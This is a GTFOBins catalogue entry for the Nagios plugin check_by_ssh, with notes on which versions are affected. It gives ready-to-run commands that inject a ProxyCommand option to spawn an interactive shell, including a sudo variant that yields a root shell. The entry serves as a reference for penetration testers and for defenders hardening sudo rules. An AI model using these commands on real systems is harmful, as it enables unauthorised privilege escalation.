GTFOBins.github.io/_gtfobins/check_by_ssh.md

description	functions
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. When `check_by_ssh` version `2.4.5` (2023-05-31) or later from the Nagios Plugins project in it's default configuration is used, it does not work anymore. It does still work on previous versions from the Nagios Plugins project or all versions from the Monitoring Project (e.g. used by Ubuntu/Debian).	shell sudo description code The shell will only last 10 seconds. check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx description code The shell will only last 10 seconds. sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx